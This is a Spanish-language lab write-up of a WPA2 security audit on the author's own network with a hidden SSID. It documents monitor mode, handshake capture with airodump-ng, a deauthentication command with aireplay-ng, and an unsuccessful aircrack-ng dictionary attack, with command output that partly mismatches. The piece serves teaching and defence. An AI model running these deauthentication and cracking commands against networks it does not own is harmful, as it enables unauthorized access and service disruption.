

2º FASE

AUDITORÍA DE SEGURIDAD WIFI: CAPTURA Y ANÁLISIS DE HANDSHAKE WPA2 CON SSID OCULTO

(Proyecto enfocado en la vulnerabilidad y el ataque)

por Eleonor Arias

1. Objetivo del Proyecto

Demostrar la vulnerabilidad de las redes WiFi WPA2 ante ataques de diccionario, utilizando un entorno controlado (red propia) para capturar un handshake y tratar de recuperar la contraseña.

1.1 Alcance:

- A) Configuración de un adaptador WiFi en modo monitor.
- B) Captura de un handshake WPA2 en una red con SSID oculto.
- C) Ataque de diccionario con aircrack-ng.
- D) Análisis de los resultados y lecciones aprendidas.

1.2 Identificación del Hardware y Herramientas del Proyecto

- A) **Adaptador WiFi:** USB AC1200 (chipset RTL88x2bu)
- B) **Sistema operativo:** Linux Mint XFCE (kernel 7.0.0-28)
- C) **Herramientas:** Aircrack-ng (airodump-ng, aireplay-ng, aircrack-ng)

Después de conectar el adaptador WiFi USB al equipo y verificar que el sistema operativo lo detectaba a nivel de hardware (mediante el comando `lsusb`), el siguiente paso fue comprobar si el kernel de Linux había creado una interfaz de red asociada al dispositivo, la active manualmente para preparar su uso en herramientas de análisis de red.

```
leonXxito@fsociety:~$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
   link/ether 60:f2:62:22:a8:80 brd ff:ff:ff:ff:ff:ff
   altname wlp0s20f3
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default
   link/ether 2a:82:b5:dc:6b:5a brd ff:ff:ff:ff:ff:ff
7: wlx909164306c59: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
   link/ether 90:91:64:30:6c:59 brd ff:ff:ff:ff:ff:ff
8: CloudflareWARP: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc mq state UNKNOWN mode DEFAULT group default qlen 500
   link/none
leonXxito@fsociety:~$ sudo ip link set wlx909164306c59 up
leonXxito@fsociety:~$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
   link/ether 60:f2:62:22:a8:80 brd ff:ff:ff:ff:ff:ff
   altname wlp0s20f3
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default
   link/ether 2a:82:b5:dc:6b:5a brd ff:ff:ff:ff:ff:ff
7: wlx909164306c59: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
   link/ether 90:91:64:30:6c:59 brd ff:ff:ff:ff:ff:ff
8: CloudflareWARP: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc mq state UNKNOWN mode DEFAULT group default qlen 500
   link/none
leonXxito@fsociety:~$
```

2. Escaneo de redes con el adaptador USB

2.1 Sin modo monitor activado: Este escaneo es pasivo y básico. El adaptador simplemente pregunta al sistema operativo: "¿Qué redes WiFi hay disponibles?" y el sistema devuelve una lista. No requiere permisos especiales ni modo monitor.

```
leonXxito0@fsociety:~$ sudo iw dev wlx909164306c59 scan | grep -E "SSID|signal|channel"
signal: -35.00 dBm
SSID: \x00\x00\x00\x00\x00\x00\x00\x00
DS Parameter set: channel 6
    * primary channel: 6
    * secondary channel offset: no secondary
    * STA channel width: 20 MHz
    * channel width: 0 (20 or 40 MHz)
signal: -58.00 dBm
SSID: EDWIN2.4
DS Parameter set: channel 11
    * primary channel: 11
    * secondary channel offset: no secondary
    * STA channel width: 20 MHz
    * channel utilisation: 23/255
    * channel(s): 1 2 3 4 5 6 7 8 9 10 11 12 13
    * channel width: 0 (20 or 40 MHz)
```

Limitaciones:

- Solo muestra redes, no captura paquetes ni detalles avanzados.
- No permite capturar handshakes ni hacer ataques.

2.2 Activar Modo Monitor

```
leonXxito0@fsociety:~$ sudo airmon-ng start wlx909164306c59

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  7371 avahi-daemon
  7372 avahi-daemon
  8052 NetworkManager
  8158 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlo1             iwlwifi     Intel Corporation Cannon Point-LP CNVi [Wireless-AC] (rev 30)
phy5     wlx909164306c59 rtw88_8822bu Realtek Semiconductor Corp. RTL88x2bu [AC1200 Techkey]
          (monitor mode enabled)

leonXxito0@fsociety:~$
```

2.3 Escaneo de redes CON modo monitor

Este escaneo es activo y profundo. El adaptador "escucha" todo el tráfico WiFi en el aire y muestra información detallada de cada red y dispositivo conectado.

- **Usamos:** `sudo airodump-ng wlx909164306c59`

- **¿Porque?:** Mi adaptador USB (wlx909164306c59) ya está en modo monitor, pero no tiene una interfaz separada con el nombre mon0 o similar, el modo monitor está activado directamente sobre la propia interfaz wlx909164306c59.

CH 5][Elapsed: 2 mins][2026-08-01 18:33

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
70:9F:2D:A6:18:BC	-1	0	0 0 1	-1					<length: 0>
86:EA:ED:D5:58:E2	-72	2	0 0 1	65	WPA2	CCMP	PSK		<length: 0>
3C:78:95:52:3B:58	-70	4	0 0 5	360	WPA2	CCMP	PSK		FULLDATA
C0:25:E9:58:55:32	-71	47	0 0 1	130	WPA2	CCMP	PSK		TP-LINK_5532
C0:25:2F:06:DD:4A	-72	14	46 0 10	270	WPA2	CCMP	PSK		CORDERITOS
32:F9:47:1F:20:CB	-61	245	4 0 11	324	WPA2	CCMP	PSK		EDWIN2.4
20:C0:47:60:E1:D8	-41	353	0 0 6	540	WPA2	CCMP	PSK		<length: 9>
30:16:9D:81:12:17	-32	439	0 0 9	270	WPA2	CCMP	PSK		FSociety_NoViolesElCodigo
32:16:9D:22:70:71	-61	392	0 0 3	360	WPA2	CCMP	PSK		<length: 0>
30:16:9D:62:70:71	-57	212	0 0 3	360	WPA2	CCMP	PSK		YVM👉

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
70:9F:2D:A6:18:BC	C2:25:E9:08:55:32	-72	0 - 1e	0	4		
(not associated)	EE:FB:97:36:09:5B	-47	0 - 1	0	30		
(not associated)	4A:F2:DA:A2:C3:F0	-41	0 - 1	0	107		
(not associated)	82:59:BE:33:6A:7A	-69	0 - 1	0	3		
(not associated)	0E:C5:7F:5C:04:A6	-64	0 - 1	0	6		
(not associated)	64:66:D8:0A:18:E9	-30	0 - 1	0	251		
(not associated)	16:03:0C:C2:0D:74	-30	0 - 1	0	95		
(not associated)	7E:89:19:DC:2E:45	-38	0 - 1	0	128		
(not associated)	5C:8A:AE:88:2B:51	-58	0 - 1	23	99		
(not associated)	44:72:AC:9D:E7:8F	-51	0 - 1	81	353		
C0:25:2F:06:DD:4A	D2:8B:49:42:FE:C0	-66	0 - 1e	0	22		
C0:25:2F:06:DD:4A	A2:1A:AE:AF:9A:AA	-63	0 - 6e	962	113		

3. Captura

Durante el escaneo del espectro WiFi con airodump-ng, identifique mi entorno de pruebas, un extensor wifi, la red Fsociety_NoviolesElCodigo (BSSID 30:16:9D:81:12:17) en el canal 9.

- `sudo airodump-ng -c 9 --bssid 30:16:9D:81:12:17 -w captura_fsociety_wlx909164306c59`

```
CH 9 ][ Elapsed: 1 min ][ 2026-08-01 18:55

BSSID            PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC CIPHER  AUTH ESSID
30:16:9D:81:12:17 -49 73      958         0   0   9  270  WPA2 CCMP  PSK  <length: 0>

BSSID            STATION            PWR   Rate    Lost  Frames  Notes  Probes
```

3.1 Verificamos la captura

- `ls -la captura_fsociety*`

```
leonXxito0@fsociety:~$ ls -la captura_fsociety*
-rw-r--r-- 1 root root 24311 ago 1 18:58 captura_fsociety-01.cap
-rw-r--r-- 1 root root 374 ago 1 18:58 captura_fsociety-01.csv
-rw-r--r-- 1 root root 579 ago 1 18:58 captura_fsociety-01.kismet.csv
-rw-r--r-- 1 root root 1693 ago 1 18:58 captura_fsociety-01.kismet.netxml
-rw-r--r-- 1 root root 258048 ago 1 18:58 captura_fsociety-01.log.csv
```

3.2 Verifica el handshake con aircrack-ng

- `sudo aircrack-ng captura_fsociety-01.cap`

```
leonXxito0@fsociety:~$ sudo aircrack-ng captura_fsociety-01.cap
[sudo] contraseña para leon2001:
Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1130 packets.

#   BSSID            ESSID            Encryption

1   30:16:9D:81:12:17            Unknown

Choosing first network as target.

Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1130 packets.

1 potential targets

Please specify a dictionary (option -w).
```

Nos pide

elegir una wordlist.

3.3 Lista los archivos en tu carpeta de diccionarios

```
leonXxito0@fsociety:~$ ls -la /home/leon2001/Documentos/wordlist/WPA/
total 2144
drwxrwxr-x 2 leon2001 leon2001 4096 jul 23 22:23 .
drwxrwxr-x 5 leon2001 leon2001 4096 jul 23 22:06 ..
-rw-rw-r-- 1 leon2001 leon2001 2121750 jul 23 22:23 master.list
-rw-rw-r-- 1 leon2001 leon2001 4148 jul 23 22:04 probable-v2-wpa-top447.txt
-rw-rw-r-- 1 leon2001 leon2001 45276 jul 23 22:04 probable-v2-wpa-top4800.txt
-rw-rw-r-- 1 leon2001 leon2001 573 jul 23 22:05 probable-v2-wpa-top62.txt
```

3.4 Seleccionar el Wordlist mas completo (Primer intento)

```
leonXxito0@fsociety:~$ sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list captura_fsociety-01.cap
Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1918 packets.

# BSSID          ESSID          Encryption
1 30:16:9D:81:12:17          Unknown

Choosing first network as target.

Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1918 packets.

1 potential targets

An ESSID is required. Try option -e.

Quitting aircrack-ng...
```

Aircrack-ng indica que necesita el ESSID (nombre de la red) para poder crackear el handshake.

¿Por qué ocurrió esto? El archivo captura_fsociety-01.cap contenía el handshake (intercambio de 4 vías), pero no contenía el ESSID (nombre de la red). Esto se debe a que la red tiene el SSID oculto.

¿Qué significa esto? Aunque aircrack-ng permite usar el BSSID como identificador, necesita el ESSID (nombre de la red) para calcular el PMK (Pairwise Master Key). El ESSID forma parte del algoritmo de derivación de la clave (PBKDF2), y sin él, aircrack-ng no puede generar las claves candidatas para compararlas con el handshake.

3.5 Solución: Capturar el ESSID en Vivo

El SSID no se pudo recuperar directamente del archivo .cap, así que recurrí a métodos más avanzados para intentar capturarlo en vivo. Para confirmar que el ESSID no estaba en el archivo .cap, se utilizó tshark.

- `tshark -r captura_fsociety-01.cap -Y "wlan.ssid" -T fields -e wlan.ssid 2>/dev/null`

El comando no devolvió ningún ESSID, lo que confirmó que el archivo .cap no contenía el nombre de la red.

Se ejecutó airodump-ng especificando el canal y el BSSID de la red:

- **Capturar ESSID:** `sudo airodump-ng -c 9 --bssid 30:16:9D:81:12:17 wlx909164306c59`
- **Forzar Conexion de un Cliente:** `sudo aireplay-ng -0 2 -a 30:16:9D:81:12:17 wlx909164306c59`

3.6 Resultado de la Captura en Vivo

- `sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list -e F Society_NoVoilesElCodigo captura_fsociety-01.cap`

```
leonXxito0@fsociety:~$ sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list -e F Society_NoVoilesElCodigo captura_fsociety-01.cap
CH 9 ][ Elapsed: 2 mins ][ 2026-08-01 19:27
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC CIPHER	AUTH	ESSID
30:16:9D:81:12:17	-53	75	1361	0 0	9	270	WPA2 CCMP	PSK	F Society_NoVoilesElCodigo

```
BSSID STATION PWR Rate Lost Frames Notes Probes
```

¿Qué muestra esta imagen?

- aircrack-ng está ejecutándose en el canal 9.
- La red objetivo (30:16:9D:81:12:17) se muestra con el ESSID correcto.
- El ataque de diccionario está en curso, probando las contraseñas del archivo master.list.
- **En este caso, la contraseña no se encontró en el diccionario, lo que demuestra que la red es segura frente a ataques de diccionario comunes.**

4. Conclusión

El error inicial (An ESSID is required) se resolvió capturando el ESSID en vivo con airodump-ng y forzando la reconexión de un cliente con aireplay-ng. Esto permitió a aircrack-ng ejecutar el ataque de diccionario correctamente, como se muestra en la imagen.

Aunque la contraseña no se encontró en el diccionario master.list, el proceso demostró que:

1. Es posible capturar un handshake WPA2.
2. Es posible descubrir un SSID oculto en vivo.
3. **La seguridad de una red WiFi depende de la robustez de su contraseña, no del ocultamiento del SSID.**